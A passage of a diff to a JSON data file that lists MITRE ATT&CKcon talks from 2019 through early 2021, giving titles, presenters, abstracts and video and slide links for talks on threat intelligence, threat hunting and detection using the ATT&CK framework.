"https://www.youtube.com/watch?v=M_uG_hlmTcA&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=17", + "slides": "https://www.slideshare.net/attackcon2018/putting-the-pre-into-attack" + }, + { + "title": "Helping Small Companies Leverage CTI with an Open Source Threat Mapping", + "presenters": [ + { + "names": [ + "Valentina Palacín" + ], + "organization": "Senior Cyber Threat Intelligence Analyst" + } + ], + "description": "No one can deny the tremendous impact that ATT&CK had on the cybersecurity industry, nor the usefulness of having a good Threat Library at your disposal. But the question Valentina gets asked over and over by people from small companies is always the same: “How could I leverage threat intelligence using ATT&CK with limited time and resources?” And so far, there hasn't been a good answer. That’s why she decided to come up with the Threat Mapping Catalogue (TMC), a tool that combines the power of the mappings already available in the ATT&CK website, TRAM and the ATT&CK Navigator, to better process, consume and incorporate new mappings while organizing them around different categories.
This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.
", + "video": "https://www.youtube.com/watch?v=3R3cwP3yFK4&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=7", + "slides": "https://www.slideshare.net/attackcon2018/helping-small-companies-leverage-cti-with-an-open-source-threat-mapping" + }, + { + "title": "From Theory to Practice: How My ATT&CK Perspectives Have Changed", + "presenters": [ + { + "names": [ + "Katie Nickels" + ], + "organization": "Red Canary" + } + ], + "description": "Good analysts (and good human beings) change their minds based on new information. In this presentation, Katie will share how her perspectives on ATT&CK have changed since moving from ATT&CK team member to ATT&CK end-user. She will discuss how her ideas about coverage, procedures, and detection creation have evolved and why those perspectives matter. Katie will also share practical examples from observed threats to help explain the nuances of her perspectives. Attendees should expect to leave this presentation with a better understanding of how to handle challenges they’re likely to face when navigating their own ATT&CK journey.
This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.
", + "video": "https://www.youtube.com/watch?v=IWA0T-GpQDk&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=8", + "slides": "https://www.slideshare.net/attackcon2018/from-theory-to-practice-how-my-attack-perspectives-have-changed" + }, + { + "title": "Sharpening Your Threat Hunting Program with ATT&CK Framework", + "presenters": [ + { + "names": [ + "Hieu Tran" + ], + "organization": "FPT Cybersecurity Division" + } + ], + "description": "No matter how sophisticated and thorough your security precautions may be, you cannot assume your security measures are impenetrable. This is why you need a threat hunting program in place. But how can we implement a proper threat hunting program and run it efficiently? In this talk, we will uncover how to sharpen your threat hunting strategy by leveraging ATT&CK. Ultimately, we’ll be demonstrating how effectively employing the hunting methodology in the real-world battlefield, fighting against well-known cyber espionage actors who strongly focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia.
This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.
", + "video": "https://www.youtube.com/watch?v=9nUNuwiN52s&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=9", + "slides": "https://www.slideshare.net/attackcon2018/sharpening-your-threathunting-program-with-attack-framework" + }, + { + "title": "Using ATT&CK To Create Cyber DBTs For Nuclear Power Plants", + "presenters": [ + { + "names": [ + "Jacob Benjamin" + ], + "organization": "Dragos" + } + ], + "description": "Design Basis Threat (DBT) is a concept introduced by the Nuclear Regulatory Commission (NRC). It is a profile of the type, composition, and capabilities of an adversary. DBT is the key input nuclear power plants use for the design of systems against acts of radiological sabotage and theft of special nuclear material. The NRC expects its licensees, nuclear power plants, to demonstrate that they can defend against the DBT. Currently, cyber is included in DBTs simply as a prescribed list of IT centric security controls. Using MITRE’s ATT&CK framework, Cyber DBTs can be created that are specific to the facility, its material, or adversary activities.
This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.
", + "video": "https://www.youtube.com/watch?v=xbnSuKTMkKo&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=10", + "slides": "https://www.slideshare.net/attackcon2018/using-attack-to-create-cyber-dbts-for-nuclear-power-plants" + }, + { + "title": "What’s New with ATT&CK for ICS?", + "presenters": [ + { + "names": [ + "Otis Alexander" + ], + "organization": "MITRE" + } + ], + "description": "Otis Alexander is a Principal Cyber Security Engineer at the MITRE Corporation and has worked in the areas of security engineering and research, analytic development, and adversary modeling and emulation. Otis is a co-creator of ATT&CK for ICS and has been leading the project since its inception. He also leads an effort to bring MITRE ATT&CK Evaluations to ICS security vendors providing anomaly and threat detection solutions. He advocates for network and host visibility in operational technology environments to increase the situational awareness of defenders.
This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.
", + "video": "https://www.youtube.com/watch?v=_GZwY-9QyFk&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=11", + "slides": "https://www.slideshare.net/attackcon2018/whats-new-with-attack-for-ics" + }, + { + "title": "Measure What Matters: How to Use ATT&CK to Do the Right Things in the Right Order", + "presenters": [ + { + "names": [ + "Daniel Wyleczuk-Stern" + ], + "organization": "Snowflake" + } + ], + "description": "Cyber security is inherently a function of risk management. Risk management is the identification, evaluation, and prioritization of risks followed by the effort to reduce those risks in a coordinated and economical manner (thanks wikipedia!). In this talk, Daniel will be going over some strategies for measuring and prioritizing your cyber risks using MITRE ATT&CK . He'll discuss some lessons learned in atomic testing of techniques vs attack chaining as well as what to measure and how to make decisions with that data.
This talk is from the MITRE ATT&CKcon Power Hour session held on January 14, 2021.
", + "video": "https://www.youtube.com/watch?v=XpuAnF5TLVA&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=2", + "slides": "https://www.slideshare.net/attackcon2018/measure-what-matters-how-to-use-mitre-attack-to-do-the-right-things-in-the-right-order" + }, + { + "title": "ATT&CKers Think in Graphs", + "presenters": [ + { + "names": [ + "Valentine Mairet" + ], + "organization": "McAfee" + } + ], + "description": "The MITRE ATT&CK framework is the industry standard to dissect cyberattacks into used techniques. At McAfee, all attack information is disseminated into different categories, including ATT&CK techniques. What results from this exercise is an extensive repository of techniques used in cyberattacks that goes back many years. Much can be learned from looking at historical attack data, but how can we piece all this information together to identify new relationships between threats and attacks? In her recent efforts, Valentine has embraced analyzing ATT&CK data in graphical representations. One lesson learned is that it is not just about merely mapping out attacks and techniques used into graphs, but the strength lies in applying different algorithms to answer specific questions. In this presentation, Valentine will showcase the results and techniques obtained from her research journey using graph and graph algorithms.
This talk is from the MITRE ATT&CKcon Power Hour session held on January 14, 2021.
", + "video": "https://www.youtube.com/watch?v=2MBcGMSBC-U&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=3", + "slides": "https://www.slideshare.net/attackcon2018/attackers-think-in-graphs-building-graphs-for-threat-intelligence" + }, + { + "title": "ATT&CK-Onomics: Exploring the Economics Behind Techniques Used By Adversaries", + "presenters": [ + { + "names": [ + "Gert-Jan Bruggink" + ], + "organization": "FalconForce" + } + ], + "description": "Adversaries are humans as well. They have objectives, deadlines and resources for programming.
In a sense, very similar to corporations grounded in the economics of effort vs time vs results. Now understanding techniques is one thing, taking it a step further and understanding what the economic impact is of using certain techniques is another. Developing tools takes time. For example, developing a custom process injection module might take days or weeks to develop, where using an open source tool could prevent extensive development costs incurred.
This talk explores the economic considerations for defending against techniques used by adversaries. It explores fundamental considerations all referenced to MITRE’s ATT&CK framework. The objective of this talk is to inspire defensive strategies designed to impact cost incurred by adversaries to perform compromises.
This talk is from the MITRE ATT&CKcon Power Hour session held on January 14, 2021.
", + "video": "https://www.youtube.com/watch?v=gmqs10b97jw&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=4", + "slides": "https://www.slideshare.net/attackcon2018/attackonomics-attacking-the-economics-behind-techniques-used-by-adversaries" + }, + { + "title": "State of the ATT&CK ", + "presenters": [ + { + "names": [ + "Adam Pennington" + ], + "organization": "MITRE" + } + ], + "description": "In this presentation from the MITRE ATT&CKcon Power Hour held on January 14, 2021, MITRE ATT&CK lead Adam Pennington gives an update on the current and future state of the MITRE ATT&CK framework.", + "video": "https://www.youtube.com/watch?v=USDHmKiLNJM&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=5", + "slides": "https://www.slideshare.net/attackcon2018/state-of-the-attack" + } ] -}, { + }, + { "date": "October 2019", "title": "ATT&CKcon 2.0", "banner_img": "/theme/images/attackcon2-banner.png", "sponsors_img_list": [ - "/theme/images/attackcon2-sponsors/ATTACKIQ.png", - "/theme/images/attackcon2-sponsors/CISCO.png", - "/theme/images/attackcon2-sponsors/CrowdstrikeLogo.png", - "/theme/images/attackcon2-sponsors/Cybereason.png", - "/theme/images/attackcon2-sponsors/Digital-Shadows.png", - "/theme/images/attackcon2-sponsors/Endgame_Logo.png", - "/theme/images/attackcon2-sponsors/McAfee.png", - "/theme/images/attackcon2-sponsors/Microsoft.png", - "/theme/images/attackcon2-sponsors/Praetorian-logo.png", - "/theme/images/attackcon2-sponsors/Red_Canary.png", - "/theme/images/attackcon2-sponsors/SafeBreachLogo.png", - "/theme/images/attackcon2-sponsors/Syncurity-Logo.png", - "/theme/images/attackcon2-sponsors/Sycthe-logo.png", - "/theme/images/attackcon2-sponsors/TREND-Micro.png", - "/theme/images/attackcon2-sponsors/Threat_Quotient.png", - "/theme/images/attackcon2-sponsors/VMRAY.png", - "/theme/images/attackcon2-sponsors/XMCyberv2.png" + "/theme/images/attackcon2-sponsors/ATTACKIQ.png", + "/theme/images/attackcon2-sponsors/CISCO.png", + "/theme/images/attackcon2-sponsors/CrowdstrikeLogo.png", + "/theme/images/attackcon2-sponsors/Cybereason.png", + "/theme/images/attackcon2-sponsors/Digital-Shadows.png", + "/theme/images/attackcon2-sponsors/Endgame_Logo.png", + "/theme/images/attackcon2-sponsors/McAfee.png", + "/theme/images/attackcon2-sponsors/Microsoft.png", + "/theme/images/attackcon2-sponsors/Praetorian-logo.png", + "/theme/images/attackcon2-sponsors/Red_Canary.png", + "/theme/images/attackcon2-sponsors/SafeBreachLogo.png", + "/theme/images/attackcon2-sponsors/Syncurity-Logo.png", + "/theme/images/attackcon2-sponsors/Sycthe-logo.png", + "/theme/images/attackcon2-sponsors/TREND-Micro.png", + "/theme/images/attackcon2-sponsors/Threat_Quotient.png", + "/theme/images/attackcon2-sponsors/VMRAY.png", + "/theme/images/attackcon2-sponsors/XMCyberv2.png" ], "presentations": [ - { - "title": "Welcome", - "presenters": [{ - "names": ["Katie Nickels"], - "organization": "MITRE" - }], - "description": "ATT&CK Threat Intelligence Lead Katie Nickels welcomes attendees and introduces the members of the ATT&CK team.", - "video": "https://youtu.be/Xkzv53j39ug?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk" - }, - { - "title": "The Friends We Made Along the Way, Keynote Address", - "presenters": [{ - "names": ["Toni Gidwani"], - "organization": "Google" - }], - "description": "In the keynote from ATT&CKcon 2.0, Toni Gidwani from Google’s Threat Analysis Group presents \"The Friends We Made Along the Way.\" The talk focuses on the purpose of intelligence, to create a decision advantage, and the partnerships that are necessary to achieve that purpose.", - "video": "https://youtu.be/ba5jh8uhTBU?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-keynote-address-the-friends-we-made-along-the-way-toni-gidwani-google" - }, { - "title": "State of the ATT&CK", - "presenters": [{ - "names": ["Blake Strom"], - "organization": "MITRE" - }], - "description": "MITRE ATT&CK Lead Blake Strom updates the community on what’s new in ATT&CK since ATT&CKcon 2018 and some of what to expect in the coming year. This talk includes details on ATT&CK for Cloud, the new Impact Tactic, structured mitigations, and the upcoming shift to sub-techniques.", - "video": "https://youtu.be/qAPC4NVJvrI?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-state-of-the-attck-blake-strom-mitre-193680470" - }, { - "title": "Using Threat Intelligence to Focus ATT&CK Activities", - "presenters": [{ - "names": ["David Westin", "Andy Kettell"], - "organization": "Nationwide" - }], - "description": "In October 2018, Nationwide began its MITRE ATT&CK journey. Nationwide looked at a number of different approaches to getting started, but it wasn’t until they prioritized efforts based on threat actors likely to target the finance/insurance industry that things started to click. Ultimately, Nationwide focused on 27 high concern threat actors targeting their industry, reducing the overall number of techniques from 240+ to 91. With this manageable chunk of techniques, Nationwide was able to test, analyze, and provide recommendations for improving its detection and mitigation capabilities. Nationwide is continuing to keep threat actor focus at the heart of its ATT&CK efforts, leading to prioritization of remediation actions, integration into penetration testing, and selection of security tools.", - "video": "https://youtu.be/V--wxuSEMD0?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-using-threat-intelligence-to-focus-attck-activities-david-westin-and-andy-kettell-nationwide" - }, { - "title": "Prioritizing ATT&CK Informed Defenses the CIS Way", - "presenters": [{ - "names": ["Philippe Langlois"], - "organization": "Verizon DBIR" - }, { - "names": ["Joshua Franklin"], - "organization": "Center for Internet Security" - }], - "description": "In a world of limited resources, organizations have to be strategic and meticulous in their planning and selection of security controls and the MITRE ATT&CK model has become an important piece for categorizing and understanding adversary techniques and contextualizing our own defenses. However, there still underlies a difficult question, where should organizations start and how should they prioritize their cybersecurity efforts? Join CIS as we explore our attempt to tackle this problem through the use of our community, content and real-world threat data collected as part of the Multi-State Information Sharing and Analysis Center (MS-ISAC). Participants should look forward to learning how to prioritize their security efforts and leverage the process for their own data and threats.", - "video": "https://youtu.be/pHUnuNb6gGs?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-prioritizing-attck-informed-defenses-the-cis-way-philippe-langlois-verizon-and-joshua-franklin-cis" - }, { - "title": "Alertable Techniques for Linux using ATT&CK", - "presenters": [{ - "names": ["Tony Lambert"], - "organization": "Red Canary" - }], - "description": "Community members continually ask, should I have detection capabilities across every technique in ATT&CK? This question inevitably leads to the same conclusion that not every technique is alertable and not all of them provide the same value for immediate detection. In this session we’ll discuss the concept of alertable detections using Linux ATT&CK techniques as a case study. We’ll introduce decision criteria we’ve learned through experience to illustrate the challenges, and we’ll recommend specific techniques that work well with an alert-driven workflow.", - "video": "https://youtu.be/7X6Pjtx4Y8M?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-alertable-techniques-for-linux-using-attck-tony-lambert-red-canary-193702628" - }, { - "title": "ATT&CK Updates – TRAM", - "presenters": [{ - "names": ["Jackie Lasky", "Sarah Yoder"], - "organization": "MITRE" - }], - "description": "Updates from the ATT&CK Team's very own Jackie Lasky and Sarah Yoder covering Threat Report ATT&CK Mapping (TRAM).", - "video": "https://youtu.be/jVkMd9mAE-U?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-tram-jackie-lasky-and-sarah-yoder-mitre-193677940" - }, { - "title": "Raiders of the MITRE Framework: How to Build Your Own Threat Library", - "presenters": [{ - "names": ["Valentina Palacin", "Ruth Esmeralda Barbacil"], - "organization": "Deloitte" - }], - "description": "It's the year 2019 and the internet has been around long enough to be filled with what seems to be \"ancient\" data. Digging through, classifying and analyzing everything sometimes makes you feel a lot like Indiana Jones searching for the right clues in a moving puzzle. But how could you move through the caves without getting buried under piles of data rubble? How might anyone revisit and study the data from the past to transform it into actionable information for the present? In this talk we are going to show you how a threat intel Indiana Jones analyst should tackle these issues in order to find the treasure of the Threat Library. We will show you how we used the MITRE ATT&CK Framework as our book of secrets for turning dusty old Internet artifacts into a library of actionable Threat Intelligence.", - "video": "https://youtu.be/AsSAsBdkns0?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-raiders-of-the-mitre-framework-how-to-build-your-own-threat-library-valentina-palacin-and-ruth-esmerelda-barbacil-deloitte" - }, { - "title": "Climbing the ATT&CK Ladder: How a Threat Hunting Team Has Upgraded Its Use of ATT&CK", - "presenters": [{ - "names": ["Karl Scheuerman", "Piotr Wojtyla"], - "organization": "CrowdStrike" - }], - "description": "CrowdStrike’s OverWatch threat hunting team has continued to mature in its use of the ATT&CK framework to categorize and track targeted adversary behavior. This presentation will build on our talk from last year’s ATT&CKcon, where we shared tactic/technique trends and unique examples observed in the wild. Since that time, we have taken a number of steps to enhance our usage of ATT&CK, including:By using practices like those outlined above, we have been able to continue building what is likely the most comprehensive and detailed library of targeted intrusion data from the wild that is mapped to ATT&CK. As such, the presentation will also share significant trends and techniques from the intrusions we’ve analyzed over the past year.", - "video": "https://youtu.be/hAsKp43AZmM?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk" - }, { - "title": "From Susceptible to ATT&CK: A Threat Hunting Story", - "presenters": [{ - "names": ["Chris Thayer"], - "organization": "Mastercard" - }], - "description": "The story of one man's crusade to convince the Senior Management of a fortune 500 company that security resources were needed beyond the perimeter, and the role ATT&CK played in those decisions. This talk documents the creation and persuasion required to create a successful threat hunting program at an enterprise level, and how the Mitre ATT&CK framework made this possible for one investigator, in his spare time, to prove the program's worth to senior management within 1 year of creation.", - "video": "https://youtu.be/bWB6qWoFT_M?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-from-susceptible-to-attck-a-threat-hunting-story-chris-thayer-mastercard-193701967" - }, { - "title": "ATT&CK Updates – Sightings", - "presenters": [{ - "names": ["John Wunder"], - "organization": "MITRE" - }], - "description": "Updates from the ATT&CK Team's very own John Wunder covering ATT&CK Sightings.", - "video": "https://youtu.be/OKx9f7QrFBQ?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-sightings-john-wunder-mitre-193678381" - }, { - "title": "Zeek-based ATT&CK Metrics & Gap Analysis", - "presenters": [{ - "names": ["Allan Thomson"], - "organization": "LookingGlass Cyber Solutions" - }], - "description": "Today many organizations are using Bro (newly named Zeek) for network security monitor as it provides a powerful network analysis framework. This presentation will describe how to leverage Zeek to report on ATT&CK TTPs, raw events and other detectable activities. Key take-aways include how to report on sightings and occurrences of ATT&CK TTPs and events providing both metrics and gap analysis to inform security operations teams on where their defense may require improvement.", - "video": "https://youtu.be/roO5ZMxYDRM?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-zeekbased-attck-metrics-and-gap-analysis-allan-thomson-looklingglass-cyber-solutions" - }, { - "title": "attckr: A Toolkit for Analysis & Visualization of ATT&CK Incident Data for Service Providers & Organizations", - "presenters": [{ - "names": ["Bob Rudis"], - "organization": "Rapid7" - }], - "description": "The ATT&CK framework provides a standardized way for organizations to record and share attacker techniques used at each stage in attacker campaigns. Having and sharing this discrete, normalized attacker behavior is great, but these normalized bundles of incident events can also be used to identify areas of improvement in both incident response teams as well as by vendors who provide tools/solutions to triage and manage incidents.
This talk will introduce {attckr}: an R package and application that provides programmatic, command-line, and interactive tools to analyze and visualize incident ATT&CK metrics. Attendees will see real-life (i.e. using real, anonymized incident data) examples of how to look across an ATT&CK incident corpus to identify trends (or outliers), support the development of ATT&CK incident baseline metrics, and develop reports and visualizations to assist in communicating operational performance, threat event frequency & type distributions for risk analysis, and identification of strengths and weaknesses in detection capability.", - "video": "https://www.youtube.com/watch?v=iayII8CCGUI&list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&index=18&t=0s", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attckr-a-toolkit-for-analysis-and-visualization-of-attck-incident-data-for-service-providers-and-organizations-bob-rudis-rapid7" - }, { - "title": "MITRE ATT&CK Assessment from a Data Perspective", - "presenters": [{ - "names": ["Olaf Hartong"], - "organization": "Deloitte" - }], - "description": "MITRE ATT&CK has quickly become the industry standard for referencing techniques. All though the framework is a great and valuable asset it is still lacking actionable detail on may levels to most people. I've bridged that gap by building a relatively simple assessment toolkit to visualize your potential coverage from the data already present in your environment, your mitigative measures and your detection content. The toolkit will help you focus your efforts based on your data and your goal.", - "video": "https://youtu.be/vTvUrY7jE5k?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-coverage-assessment-from-a-data-perspective-olaf-hartong-deloitte-193702186" - }, { - "title": "Threat-Informed Defense: Where do we go from here?", - "presenters": [{ - "names": ["Richard Struse"], - "organization": "MITRE" - }], - "description": "Richard Struse explores the concept of a threat-informed defense and talks about ways of moving the cyber security community forward.", - "video": "https://youtu.be/IKogtrsN214?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-threat-informed-defense-where-do-we-go-from-here-richard-struse-mitre" - }, { - "title": "AMITT: ATT&CK-based Standards for Misinformation Threat Sharing", - "presenters": [{ - "names": ["Sara-Jayne Terp", "John Gray"], - "organization": "Credibility Coalition MisinfoSec Working Group" - }], - "description": "State actors, private influence operators and grassroots groups are exploiting the openness and reach of the Internet to manipulate populations at a distance. They are extending a decades-long struggle for “hearts and minds” via propaganda, influence operations and information warfare, often in the form of coordinated incidents that are part of longer-timescale narrative-based campaigns.
The Credibility Coalition is an interdisciplinary community committed to addressing the proliferation and amplification of misinformation online, through transparent and collaborative research. Its MisinfoSec working group develops information security-based standards to promote a more formal and rigorous treatment of 1) detecting misinformation-based attacks and 2) devising methods to protect against misinformation-based attacks. Specifically, we have adapted and extended frameworks used to describe information security incidents, for use in ISACs, ISAOs and other groups sharing misinformation threats and responses.
In this talk, we discuss misinformation and why stage-based frameworks like ATT&CK are appropriate for it. We describe the AMITT (Adversarial Misinformation and Influence Tactics and Techniques) misinformation response framework and its roots in and deliberate compatibility with ATT&CK, its creation, relationships with other models, its components (including ways, means, and ends to achieve influence goals) and potential uses.", - "video": "https://youtu.be/vIxqd0Qt_D8?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-amitt-attckbased-standards-for-misinformation-threat-sharing-sara-terp-and-john-gray-credibility-coalition-193687162" - }, { - "title": "Flashback with ATT&CK: Exploring Malware History with ATT&CK (2003-2018)", - "presenters": [{ - "names": ["Kris Oosthoek"], - "organization": "Delft University of Technology" - }], - "description": "Attackers keep innovating their TTPs to circumvent established defenses, so gaining insight into attacker innovation is fundamental. Our Twitter feeds are saturated with helpful reports daily, but how does this relate to trends and developments within the threat ecosystem as a whole? Take a step back, relax and get an ATT&CK-based overview of 15 years TTP evolution to inform your defense.
This presentation will discuss ATT&CK techniques found in 950+ unique Windows malware families as part of an academic research project. With the malware harvested from an unbiased and reputable source, a representative view on 15 years of evolution in the malware field is ensured. For each ATT&CK tactic, the talk provides insight into trends and shifts in real-world adversary behavior. It will also highlight how a malware analysis automation pipeline can introduce biases into your CTI and based on that, best practices on how ATT&CK can be used to ensure CTI accuracy. This entertaining presentation provides practical takeaways that inform and help prioritize your threat defense.", - "video": "https://youtu.be/v5CoPkeVQCI?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-flashback-with-attck-exploring-malware-history-with-attck-20032018-kris-oosthoek-delft-university" - }, { - "title": "Tell Tall Tales With ATT&CK!", - "presenters": [{ - "names": ["James Lerud"], - "organization": "Titania Solutions Group" - }], - "description": "Once upon a time there was a security expert with all kinds of ATT&CK data. There were Atomic tests, breach simulations, and metrics abound! Our hero knew he could mold the data to illustrate a story of triumph. He would deliver magnificent slides and graphs with color and shape that, even the dull c-suite would know he was great. This presentation will teach the audience how to torture ATT&CK data until it confesses. Manipulation of ordinal scales, dirty data, playing into biases, nothing is off limits if it makes us look good. Follow the advice here and you will be ready to tell tall tales with ATT&CK… or for the true hearted tell boring realistic stories.", - "video": "https://youtu.be/XVGXfFcUvYc?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-tell-tall-tales-with-attck-james-lerud-titania-solutions-group-193686781" - }, { - "title": "ATT&CK Updates – ICS", - "presenters": [{ - "names": ["Otis Alexander"], - "organization": "MITRE" - }], - "description": "Updates from the ATT&CK Team's very own Otis Alexander covering ATT&CK for ICS.", - "video": "https://youtu.be/a9-p4tMsp14?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-ics-otis-alexander-mitre-193601017" - }, { - "title": "Ready to ATT&CK? Bring Your Own Data (BYOD) and Validate Your Data Analytics!", - "presenters": [{ - "names": ["Roberto Rodriguez"], - "organization": "Cybersecurity Specialist" - }, { - "names": ["Jose Luis Rodriguez"], - "organization": "Student" - }], - "description": "\"How do we collect the right data for the detection of specific adversarial techniques?\" That is a very important and common question for organizations planning on leveraging ATT&CK for their defensive strategy. One approach might be reading the data sources metadata available per each technique in the ATT&CK framework. That is a good first step, and it is already helping organizations to integrate the framework with their current security controls. However, as you go deeper into the specific recommended data sources per technique, it is very important to understand that not every technique variation requires the same data sources. In addition, there needs to be a way to validate if what we are collecting aligns with the data analytics being created. In this talk, we will share our current experiences contributing to the \"Data Sources\" section of ATT&CK framework and the Cyber Analytics Repository (CAR) project. We will show how to use pre-captured datasets from our open source project named Mordor to expedite simulation of adversarial techniques and validation of data analytics. In addition, we will show how we leverage Jupyter Notebooks to develop and test data analytics from projects like CAR to finish the validation process and provide recommendations.", - "video": "https://youtu.be/eM0c_Gil-38?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-ready-to-attck-bring-your-own-data-byod-and-validate-your-data-analytics-roberto-rodriguez-aws-and-jose-rodriguez-nvcc" - }, { - "title": "Prioritizing Data Sources for Minimum Viable Detection", - "presenters": [{ - "names": ["Keith McCammon"], - "organization": "Red Canary" - }], - "description": "MITRE ATT&CK® is more than a glossary of security terminology that offers us a common language to communicate about threats. While each technique includes a description, it also includes a list of the requisite data sources necessary to observe an adversary leveraging that technique—transforming ATT&CK from a nebulous collection of definitions into a practical tool for improving detection coverage. However, in the same way that you can’t simply build alerts for every technique, you can’t gain access to every data source. How do you effectively prioritize data sources so that you are getting the best returns on your visibility investments?", - "video": "https://youtu.be/dnHdxlwqgME?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-prioritizing-data-sources-for-minimum-viable-detection-keith-mccammon-red-canary-193703088" - }, { - "title": "ATT&CK Updates – Controls Mapping", - "presenters": [{ - "names": ["Mike Long"], - "organization": "MITRE" - }], - "description": "Updates from the ATT&CK Team's very own Mike Long covering controls mapping.", - "video": "https://youtu.be/mdGWojl0Ay8?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-controls-mapping-mike-long-mitre" - }, { - "title": "The World’s Most Dangerous ATT&CKers", - "presenters": [{ - "names": ["Robert Lipovský"], - "organization": "ESET" - }], - "description": "As a research-oriented cybersecurity company that regularly discloses detailed analyses of cyberattacks to clients and/or the public, the introduction of MITRE ATT&CK as a common language to describe adversary techniques and tactics was certainly welcome.
We’ll begin our presentation by introducing exactly how and why we started using ATT&CK, providing examples of mappings in our research publications, as well as the role it plays in enhancing our EDR solutions. We’ll also describe our experience with contributing to the ATT&CK knowledge base.
The main part of the talk will be example-driven. Having played a key role in analyzing some of the most significant cyberattacks in history, we’ll go over the most interesting tactics, techniques, and procedures (TTPs) of the adversaries, mapping them to ATT&CK.
Specifically, we’ll analyze the TTPs of Sednit (a.k.a. APT28), the group reportedly responsible for the Democratic National Committee hack that affected the US 2016 elections, and Telebots (a.k.a. Sandworm), the group behind the first malware-driven electricity blackouts (BlackEnergy and Industroyer) and, the most damaging cyberattack ever (NotPetya).
Finally, we’ll conclude with our analysis of the current threat landscape and trends, and highlight how we anticipate it will shape ATT&CK going forward.", - "video": "https://youtu.be/z47g13s2xVA?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-the-worlds-most-dangerous-attckers-robert-lipovsky-eset-193701776" - }, { - "title": "Lessons in Purple Teaming with ATT&CK", - "presenters": [{ - "names": ["Daniel Wyleczuk-Stern"], - "organization": "Praetorian" - }, { - "names": ["Matt Southworth"], - "organization": "Priceline, Booking Holdings" - }], - "description": "For the past year, Praetorian and Priceline have been working together to conduct a series of Purple Team exercises to improve Priceline’s Detection and Response. These exercises utilized tactics, techniques, and procedures (TTPs) from the MITRE ATT&CK framework to baseline Priceline’s telemetry and analysis capabilities. Praetorian leveraged their recently released Metasploit Framework fork to rapidly automate basic TTPs before working cooperatively with Priceline for more advanced tests.
